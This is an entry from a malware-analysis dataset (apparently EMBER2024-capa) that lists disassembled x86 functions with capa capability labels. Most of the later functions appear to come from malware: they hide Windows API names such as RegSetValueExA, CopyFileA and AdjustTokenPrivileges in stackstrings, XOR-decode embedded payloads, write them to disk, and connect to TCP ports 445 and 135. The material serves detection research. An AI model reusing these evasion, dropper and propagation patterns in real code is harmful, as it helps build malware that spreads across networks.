joyce8/EMBER2024-capa huggingface dataset:
Function at 0x30a9e80
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov ecx, dword [esi + 0x3c]
test ecx, ecx
je 0x30a9ec9
push dword [ebp + 8]
mov esi, dword [ebp + 0x10]
lea edx, [ebp - 4]
push edx
push esi
push 0
push dword [ebp + 0xc]
mov dword [ebp - 4], 0
mov eax, dword [ecx]
push ecx
call dword [eax + 0xc]
test eax, eax
js 0x30a9ec0
cmp esi, dword [ebp - 4]
jne 0x30a9ec0
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 0xc
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [esi + 0x40]
test ecx, ecx
je 0x30a9eed
push dword [ebp + 8]
mov esi, dword [ebp + 0x10]
lea edx, [ebp - 4]
push edx
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], 0
mov eax, dword [ecx]
push ecx
call dword [eax + 0xc]
jmp 0x30a9eab
mov eax, dword [esi + 0x98]
test eax, eax
je 0x30a9f26
push 0
push dword [ebp + 0xc]
push eax
call dword [sym.imp.msvcrt.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x30a9ec0
push dword [esi + 0x98]
push 1
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [sym.imp.msvcrt.dll_fread]
add esp, 0x10
cmp eax, 1
jmp 0x30a9eb2
xor al, al
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x30aa000
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
cmp byte [esi + 0x24], 0
jne 0x30aa075
push 0
push dword [esi + 0x30]
mov byte [esi + 0x24], 1
push dword [esi + 0x28]
call dword [sym.imp.msvcrt.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x30aa075
push edi
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push dword [esi + 0x2c]
lea ecx, [esi + 4]
call fcn.03080870
test eax, eax
je 0x30aa056
push dword [esi + 0x28]
push 1
push dword [esi + 0x2c]
push dword [ebp - 4]
call dword [sym.imp.msvcrt.dll_fread]
add esp, 0x10
cmp eax, 1
je 0x30aa074
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x30aa074
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push 0
push ecx
call sub.msvcrt.dll_memset
mov eax, dword [esi + 4]
add esp, 0xc
mov dword [esi + 8], eax
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x30aba60
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push 1
push 0x80000000
push dword [ebp + 8]
call dword [0x31125cc]
mov esi, eax
cmp esi, 0xffffffff
je 0x30abac7
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov eax, dword [ebp + 0x10]
mov dword [eax], ecx
cmp ecx, 0xffffffff
je 0x30abac7
push edi
push ecx
push edi
push 2
push edi
push esi
call dword [0x31125c8]
mov edi, eax
test edi, edi
je 0x30abac7
push 0
push 0
push 0
push 4
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
test eax, eax
je 0x30abac7
xor bl, bl
jmp 0x30abac9
mov bl, 1
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x30abada
push edi
call eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0xffffffff
je 0x30abae2
push esi
call eax
pop edi
xor eax, eax
test bl, bl
pop esi
sete al
pop ebx
pop ebp
ret
Function at 0x30c4600
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push ebx
movzx eax, word [edx]
shl eax, 0xe
push esi
mov esi, dword [ebp + 0xc]
mov ebx, 0x1800
xor eax, dword [esi + 0x170]
xor ecx, ecx
and eax, 0x200000
xor dword [esi + 0x170], eax
or dword [esi + 0x28c], 8
movzx eax, word [edx]
shl eax, 0x16
xor eax, dword [esi + 0x170]
push edi
and eax, 0x400000
xor dword [esi + 0x170], eax
or dword [esi + 0x28c], 0x10
movzx eax, word [edx]
xor eax, dword [esi + 0x170]
mov edi, 0x800
and eax, 2
xor dword [esi + 0x170], eax
or dword [esi + 0x288], 0x8000
movzx eax, word [edx]
shl eax, 0x15
xor eax, dword [esi + 0x170]
and eax, 0x800000
xor dword [esi + 0x170], eax
or dword [esi + 0x28c], 0x20
movzx eax, word [edx]
shl eax, 0x15
xor eax, dword [esi + 0x170]
and eax, 0x1000000
xor dword [esi + 0x170], eax
or dword [esi + 0x28c], 0x40
movzx eax, word [edx]
shl eax, 0x15
xor eax, dword [esi + 0x170]
and eax, 0x2000000
xor dword [esi + 0x170], eax
or dword [esi + 0x28c], 0x80
movzx eax, word [edx]
shl eax, 0x15
xor eax, dword [esi + 0x170]
and eax, 0x4000000
xor dword [esi + 0x170], eax
or dword [esi + 0x28c], 0x100
movzx eax, word [edx]
shl eax, 0x15
xor eax, dword [esi + 0x170]
and eax, 0x8000000
xor dword [esi + 0x170], eax
or dword [esi + 0x28c], 0x200
movzx eax, word [edx]
shl eax, 0x14
xor eax, dword [esi + 0x170]
and eax, 0x10000000
xor dword [esi + 0x170], eax
or dword [esi + 0x28c], 0x400
movzx eax, word [edx]
shl eax, 0x10
xor eax, dword [esi + 0x170]
and eax, 0x20000000
xor dword [esi + 0x170], eax
or dword [esi + 0x28c], 0x800
movzx eax, word [edx]
shl eax, 0x14
xor eax, dword [esi + 0x170]
and eax, 0x40000000
xor dword [esi + 0x170], eax
or dword [esi + 0x28c], 0x1000
movzx eax, word [edx]
and ax, bx
cmp ax, di
mov eax, dword [esi + 0x170]
sete cl
and eax, 0x7fffffff
shl ecx, 0x1f
or ecx, eax
mov dword [esi + 0x170], ecx
or dword [esi + 0x28c], 0x2000
movzx eax, word [edx]
xor ecx, ecx
and ax, bx
mov edi, 0x1000
cmp ax, di
sete cl
mov ebx, 0xc000
mov edi, 0x4000
xor ecx, dword [esi + 0x174]
and ecx, 1
xor dword [esi + 0x174], ecx
or dword [esi + 0x28c], 0x4000
movzx eax, word [edx]
xor ecx, ecx
and ax, bx
cmp ax, di
sete cl
mov edi, 0x8000
shl ecx, 0x15
xor ecx, dword [esi + 0x178]
and ecx, 0x200000
xor dword [esi + 0x178], ecx
or dword [esi + 0x298], 0x8000
movzx eax, word [edx]
xor ecx, ecx
and ax, bx
cmp ax, di
sete cl
pop edi
shl ecx, 0x16
xor ecx, dword [esi + 0x178]
and ecx, 0x400000
xor dword [esi + 0x178], ecx
or dword [esi + 0x298], 0x10000
movzx eax, word [edx]
xor ecx, ecx
and ax, bx
cmp ax, bx
sete cl
shl ecx, 0x17
xor ecx, dword [esi + 0x178]
and ecx, 0x800000
xor dword [esi + 0x178], ecx
or dword [esi + 0x298], 0x20000
pop esi
pop ebx
pop ebp
ret
Function at 0x30c5bc0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
push 0x31129bc
mov dword [esi], 0x300146c
mov dword [esi + 4], 0
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov edx, dword [ebp + 8]
mov dword [esi], 0x3003a84
mov eax, dword [edx + 8]
mov dword [esi + 8], eax
mov dword [esi], 0x3009508
movzx eax, byte [edx + 0xc]
mov byte [esi + 0xc], al
movzx eax, byte [edx + 0xd]
mov byte [esi + 0xd], al
mov eax, dword [edx + 0x10]
mov dword [esi + 0x10], eax
mov eax, dword [edx + 0x14]
mov dword [esi + 0x14], eax
mov eax, dword [edx + 0x18]
mov dword [esi + 0x18], eax
mov eax, dword [edx + 0x1c]
mov dword [esi + 0x1c], eax
mov eax, dword [edx + 0x20]
mov dword [esi + 0x20], eax
mov eax, dword [edx + 0x24]
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], 0x3002a14
mov ecx, dword [edx + 0x48]
mov dword [esi + 0x2c], 0x3008e30
mov eax, dword [edx + 0x30]
mov dword [esi + 0x30], eax
mov eax, dword [edx + 0x34]
mov dword [esi + 0x34], eax
mov eax, dword [edx + 0x38]
mov dword [esi + 0x38], eax
mov eax, dword [edx + 0x3c]
mov dword [esi + 0x3c], eax
mov eax, dword [edx + 0x40]
mov dword [esi + 0x40], eax
mov eax, dword [edx + 0x44]
mov dword [esi + 0x44], eax
mov dword [esi + 0x48], ecx
mov dword [esi + 0x28], 0x3008b7c
mov dword [esi + 0x2c], 0x3008e30
mov eax, dword [edx + 0x4c]
mov dword [esi + 0x4c], eax
mov eax, dword [edx + 0x50]
mov dword [esi + 0x50], eax
mov eax, dword [edx + 0x50]
test eax, eax
je 0x30c5c81
inc dword [eax + 4]
mov eax, dword [edx + 0x54]
mov dword [esi + 0x54], eax
mov eax, dword [edx + 0x58]
mov dword [esi + 0x58], eax
mov eax, dword [edx + 0x5c]
mov dword [esi + 0x5c], eax
mov eax, dword [edx + 0x60]
mov dword [esi + 0x60], eax
mov eax, dword [edx + 0x64]
mov dword [esi + 0x64], eax
mov eax, dword [edx + 0x68]
mov dword [esi + 0x68], eax
mov eax, dword [edx + 0x6c]
mov dword [esi + 0x6c], eax
mov eax, dword [edx + 0x70]
mov dword [esi + 0x70], eax
mov al, byte [edx + 0x74]
mov byte [esi + 0x74], al
mov eax, dword [edx + 0x78]
mov dword [esi + 0x78], eax
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x30f1f40
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x30f1f81
push 0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.msvcrt.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x30f1fe2
push esi
mov esi, dword [ebp + 0x14]
push esi
push 1
push dword [ebp + 0x18]
call dword [sym.imp.msvcrt.dll_fread]
add esp, 0x10
xor ecx, ecx
cmp eax, esi
sete al
pop esi
pop ebp
ret 0x18
mov eax, dword [ecx + 0x82c]
test eax, eax
je 0x30f1fad
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push 0
push dword [ebp + 0xc]
push dword [ecx + 0x804]
call eax
add esp, 0x14
xor ecx, ecx
test eax, eax
setns al
pop esi
pop ebp
ret 0x18
mov eax, dword [ecx + 0x830]
test eax, eax
je 0x30f1fe2
cmp byte [ebp + 0x1c], 0
mov edx, dword [ebp + 0x10]
jne 0x30f1fc4
test edx, edx
je 0x30f1fe2
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push edx
push dword [ecx + 0x804]
call eax
add esp, 0x10
xor ecx, ecx
test eax, eax
setns al
pop esi
pop ebp
ret 0x18
xor al, al
pop esi
pop ebp
ret 0x18
Function at 0x30f2920
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov eax, dword [0x310e008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x18]
mov ebx, ecx
mov ecx, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 0x120], ecx
mov dword [ebp - 0x124], eax
cmp edi, 0xc
jb 0x30f2b5b
test ecx, ecx
je 0x30f29a0
mov eax, dword [ebp - 0x120]
mov edx, dword [ecx + esi]
mov eax, dword [eax + esi + 8]
mov ecx, dword [ecx + esi + 4]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x11c], edx
mov eax, dword [eax + esi + 0xc]
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x118], ecx
jmp 0x30f2a52
mov edx, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
add edx, esi
add ecx, esi
test eax, eax
je 0x30f29e5
push 0
push ecx
push eax
call dword [sym.imp.msvcrt.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x30f2b5b
push dword [ebp - 0x124]
lea eax, [ebp - 0x11c]
push 0xc
push 1
push eax
call dword [sym.imp.msvcrt.dll_fread]
add esp, 0x10
cmp eax, 0xc
sete al
jmp 0x30f2a38
mov eax, dword [ebx + 0x82c]
test eax, eax
je 0x30f2a08
lea edx, [ebp - 0x11c]
push edx
push 0xc
push 0
push ecx
push dword [ebx + 0x804]
call eax
add esp, 0x14
jmp 0x30f2a33
mov eax, dword [ebx + 0x830]
test eax, eax
je 0x30f2b5b
test edx, edx
je 0x30f2b5b
lea ecx, [ebp - 0x11c]
push ecx
push 0xc
push edx
push dword [ebx + 0x804]
call eax
add esp, 0x10
test eax, eax
setns al
test al, al
je 0x30f2b5b
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x118]
mov edx, dword [ebp - 0x11c]
cmp ecx, 0xc
jb 0x30f2b5b
cmp ecx, edi
ja 0x30f2b5b
cmp edx, 1
jne 0x30f2a6c
test al, al
je 0x30f2a8a
sub edi, ecx
add esi, ecx
cmp edi, 0xc
jb 0x30f2b5b
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x120]
jmp 0x30f2958
lea edi, [ecx - 0xc]
cmp edi, 0x108
ja 0x30f2b5b
mov eax, dword [ebp - 0x120]
test eax, eax
je 0x30f2abb
add eax, 0xc
add eax, esi
push edi
push eax
lea eax, [ebp - 0x10c]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
jmp 0x30f2ae8
push 0
lea eax, [ebp - 0x10c]
push eax
mov eax, dword [ebp + 0x14]
add eax, 0xc
add eax, esi
push edi
push eax
mov eax, dword [ebp + 0x10]
add eax, 0xc
add eax, esi
push eax
push dword [ebp - 0x124]
mov ecx, ebx
call fcn.030f1f40
test al, al
je 0x30f2b5b
dec edi
cmp edi, 0x108
jae 0x30f2b8e
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
mov byte [ebp + edi - 0x10c], 0
call dword [0x3112614]
mov edi, eax
test edi, edi
jle 0x30f2b5b
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.03038510
mov esi, eax
add esp, 4
test esi, esi
je 0x30f2b5b
push edi
push esi
push 0xffffffffffffffff
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
call dword [0x3112614]
push esi
test eax, eax
jg 0x30f2b6e
call fcn.03038506
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0307c5f7
mov esp, ebp
pop ebp
ret 0x14
mov ecx, ebx
mov dword [ebx + 0xc88], esi
call fcn.030f26c0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0307c5f7
mov esp, ebp
pop ebp
ret 0x14
call fcn.0307c749
int3
Function at 0x30f2df0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x30f2e1b
push edi
mov edi, dword [ebp + 8]
movzx ecx, byte [edi]
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x3010010]
lea edi, [edi + 1]
dec esi
jne 0x30f2e02
pop edi
pop esi
pop ebp
ret
Function at 0x401b70
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401b95
lea ecx, [esp + 0xc]
push 0
push ecx
push 0x323
push 0x406000
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401bb3
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
ret

Function at 0x401c30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0xc
push 0x406328
mov byte [esp + 4], 0x43
mov byte [esp + 5], 0x6f
mov byte [esp + 6], 0x70
mov byte [esp + 7], 0x79
mov byte [esp + 8], 0x46
mov byte [esp + 9], 0x69
mov byte [esp + 0xa], 0x6c
mov byte [esp + 0xb], 0x65
mov byte [esp + 0xc], 0x41
mov byte [esp + 0xd], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401c95
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
push edx
mov edx, dword [esp + 0x14]
push ecx
push edx
call eax
add esp, 0xc
ret
mov eax, dword [esp + 0x18]
add esp, 0xc
ret

Function at 0x401ca0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
mov al, 0x69
mov dl, 0x74
mov byte [esp + 4], al
mov byte [esp + 0xb], al
mov cl, 0x6f
mov al, 0x72
push 0x406328
mov byte [esp + 4], 0x47
mov byte [esp + 5], 0x65
mov byte [esp + 6], dl
mov byte [esp + 7], 0x57
mov byte [esp + 9], 0x6e
mov byte [esp + 0xa], 0x64
mov byte [esp + 0xb], cl
mov byte [esp + 0xc], 0x77
mov byte [esp + 0xd], 0x73
mov byte [esp + 0xe], 0x44
mov byte [esp + 0x10], al
mov byte [esp + 0x11], 0x65
mov byte [esp + 0x12], 0x63
mov byte [esp + 0x13], dl
mov byte [esp + 0x14], cl
mov byte [esp + 0x15], al
mov byte [esp + 0x16], 0x79
mov byte [esp + 0x17], 0x41
mov byte [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401d37
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push edx
push ecx
call eax
add esp, 0x18
ret
mov eax, dword [esp + 0x20]
add esp, 0x18
ret

Function at 0x4029c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
mov al, 0x65
push 0x406338
mov byte [esp + 0xc], al
mov byte [esp + 0xd], 0x79
mov byte [esp + 4], 0x52
mov byte [esp + 5], al
mov byte [esp + 6], 0x67
mov byte [esp + 7], 0x4f
mov byte [esp + 8], 0x70
mov byte [esp + 9], al
mov byte [esp + 0xa], 0x6e
mov byte [esp + 0xb], 0x4b
mov byte [esp + 0xe], 0x45
mov byte [esp + 0xf], 0x78
mov byte [esp + 0x10], 0x41
mov byte [esp + 0x11], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402a42
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
push edx
mov edx, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
mov edx, dword [esp + 0x20]
push ecx
push edx
call eax
add esp, 0x10
ret
mov eax, dword [esp + 0x24]
add esp, 0x10
ret
Function at 0x4031d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
mov al, 0x65
push 0x406338
mov byte [esp + 4], 0x52
mov byte [esp + 5], al
mov byte [esp + 6], 0x67
mov byte [esp + 7], 0x53
mov byte [esp + 8], al
mov byte [esp + 9], 0x74
mov byte [esp + 0xa], 0x56
mov byte [esp + 0xb], 0x61
mov byte [esp + 0xc], 0x6c
mov byte [esp + 0xd], 0x75
mov byte [esp + 0xe], al
mov byte [esp + 0xf], 0x45
mov byte [esp + 0x10], 0x78
mov byte [esp + 0x11], 0x41
mov byte [esp + 0x12], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40325c
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
push ecx
call eax
add esp, 0x10
ret
mov eax, dword [esp + 0x28]
add esp, 0x10
ret

Function at 0x403270
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov al, 0x65
mov cl, 0x75
push 0x406338
mov byte [esp + 4], 0x52
mov byte [esp + 5], al
mov byte [esp + 6], 0x67
mov byte [esp + 7], 0x51
mov byte [esp + 8], cl
mov byte [esp + 9], al
mov byte [esp + 0xa], 0x72
mov byte [esp + 0xb], 0x79
mov byte [esp + 0xc], 0x56
mov byte [esp + 0xd], 0x61
mov byte [esp + 0xe], 0x6c
mov byte [esp + 0xf], cl
mov byte [esp + 0x10], al
mov byte [esp + 0x11], 0x45
mov byte [esp + 0x12], 0x78
mov byte [esp + 0x13], 0x41
mov byte [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x403306
mov edx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x28]
push edx
mov edx, dword [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x28]
push edx
mov edx, dword [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x28]
push edx
push ecx
call eax
add esp, 0x14
ret
mov eax, dword [esp + 0x2c]
add esp, 0x14
ret

Function at 0x403490
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
mov dl, 0x73
mov al, 0x65
mov cl, 0x69
push 0x406338
mov byte [esp + 4], 0x41
mov byte [esp + 5], 0x64
mov byte [esp + 6], 0x6a
mov byte [esp + 7], 0x75
mov byte [esp + 8], dl
mov byte [esp + 9], 0x74
mov byte [esp + 0xa], 0x54
mov byte [esp + 0xb], 0x6f
mov byte [esp + 0xc], 0x6b
mov byte [esp + 0xd], al
mov byte [esp + 0xe], 0x6e
mov byte [esp + 0xf], 0x50
mov byte [esp + 0x10], 0x72
mov byte [esp + 0x11], cl
mov byte [esp + 0x12], 0x76
mov byte [esp + 0x13], cl
mov byte [esp + 0x14], 0x6c
mov byte [esp + 0x15], al
mov byte [esp + 0x16], 0x67
mov byte [esp + 0x17], al
mov byte [esp + 0x18], dl
mov byte [esp + 0x19], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40353f
mov edx, dword [esp + 0x30]
mov ecx, dword [esp + 0x2c]
push edx
mov edx, dword [esp + 0x2c]
push ecx
mov ecx, dword [esp + 0x2c]
push edx
mov edx, dword [esp + 0x2c]
push ecx
mov ecx, dword [esp + 0x2c]
push edx
push ecx
call eax
add esp, 0x18
ret
mov eax, dword [esp + 0x30]
add esp, 0x18
ret
Function at 0x403600
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov al, 0x65
mov cl, 0x6c
push 0x406328
mov byte [esp + 4], 0x47
mov byte [esp + 5], al
mov byte [esp + 6], 0x74
mov byte [esp + 7], 0x4d
mov byte [esp + 8], 0x6f
mov byte [esp + 9], 0x64
mov byte [esp + 0xa], 0x75
mov byte [esp + 0xb], cl
mov byte [esp + 0xc], al
mov byte [esp + 0xd], 0x46
mov byte [esp + 0xe], 0x69
mov byte [esp + 0xf], cl
mov byte [esp + 0x10], al
mov byte [esp + 0x11], 0x4e
mov byte [esp + 0x12], 0x61
mov byte [esp + 0x13], 0x6d
mov byte [esp + 0x14], al
mov byte [esp + 0x15], 0x41
mov byte [esp + 0x16], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x403690
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push edx
mov edx, dword [esp + 0x1c]
push ecx
push edx
call eax
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
add esp, 0x14
ret

Function at 0x403730
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov cl, 0x65
mov al, 0x74
mov dl, 0x41
push 0x406328
mov byte [esp + 4], 0x53
mov byte [esp + 5], cl
mov byte [esp + 6], al
mov byte [esp + 7], 0x46
mov byte [esp + 8], 0x69
mov byte [esp + 9], 0x6c
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], dl
mov byte [esp + 0xc], al
mov byte [esp + 0xd], al
mov byte [esp + 0xe], 0x72
mov byte [esp + 0xf], 0x69
mov byte [esp + 0x10], 0x62
mov byte [esp + 0x11], 0x75
mov byte [esp + 0x12], al
mov byte [esp + 0x13], cl
mov byte [esp + 0x14], 0x73
mov byte [esp + 0x15], dl
mov byte [esp + 0x16], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4037ba
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
push edx
push ecx
call eax
add esp, 0x14
ret
mov eax, dword [esp + 0x1c]
add esp, 0x14
ret

Function at 0x4037d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov cl, 0x65
mov al, 0x74
mov dl, 0x41
push 0x406328
mov byte [esp + 4], 0x47
mov byte [esp + 5], cl
mov byte [esp + 6], al
mov byte [esp + 7], 0x46
mov byte [esp + 8], 0x69
mov byte [esp + 9], 0x6c
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], dl
mov byte [esp + 0xc], al
mov byte [esp + 0xd], al
mov byte [esp + 0xe], 0x72
mov byte [esp + 0xf], 0x69
mov byte [esp + 0x10], 0x62
mov byte [esp + 0x11], 0x75
mov byte [esp + 0x12], al
mov byte [esp + 0x13], cl
mov byte [esp + 0x14], 0x73
mov byte [esp + 0x15], dl
mov byte [esp + 0x16], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x403855
mov edx, dword [esp + 0x18]
push edx
call eax
add esp, 0x14
ret
mov eax, dword [esp + 0x18]
add esp, 0x14
ret

Function at 0x403860
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
mov cl, 0x13
mov dl, byte [eax + 0x40636c]
xor dl, cl
mov byte [eax + 0x40636c], dl
inc eax
cmp eax, 0x5dc
jb 0x403864
xor eax, eax
ret
Function at 0x403880
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
mov cl, 0x13
mov dl, byte [eax + 0x406948]
xor dl, cl
mov byte [eax + 0x406948], dl
inc eax
cmp eax, 0x8c0
jb 0x403884
xor eax, eax
ret

Function at 0x4038a0
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
mov cl, 6
mov dl, byte [eax + 0x407208]
xor dl, cl
mov byte [eax + 0x407208], dl
inc eax
cmp eax, 0x845
jl 0x4038a4
xor eax, eax
ret

Function at 0x4038c0
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
push esi
call fcn.004038a0
mov eax, dword [esp + 0x10]
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4038eb
lea ecx, [esp + 8]
push 0
push ecx
push 0x845
push 0x407208
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403909
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ecx
ret

Function at 0x403aa0
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push esi
push eax
xor esi, esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x403abe
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
test eax, eax
je 0x403abe
mov eax, dword [eax]
pop esi
ret
mov eax, esi
pop esi
ret

Function at 0x403ad0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
sub esp, 0x10
push esi
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x403af0
mov eax, 1
pop esi
add esp, 0x10
ret
mov eax, dword [esp + 0x18]
push eax
call fcn.00403aa0
add esp, 4
mov word [esp + 4], 2
mov dword [esp + 8], eax
push 0x1bd
call sub.WS2_32.dll_htons
lea ecx, [esp + 4]
push 0x10
push ecx
push esi
mov word [esp + 0x12], ax
call sub.WS2_32.dll_connect
neg eax
sbb eax, eax
pop esi
neg eax
add esp, 0x10
ret

Function at 0x403b30
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
sub esp, 0x10
push esi
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x403b50
mov eax, 1
pop esi
add esp, 0x10
ret
mov eax, dword [esp + 0x18]
push eax
call fcn.00403aa0
add esp, 4
mov word [esp + 4], 2
mov dword [esp + 8], eax
push 0x87
call sub.WS2_32.dll_htons
lea ecx, [esp + 4]
push 0x10
push ecx
push esi
mov word [esp + 0x12], ax
call sub.WS2_32.dll_connect
neg eax
sbb eax, eax
pop esi
neg eax
add esp, 0x10
ret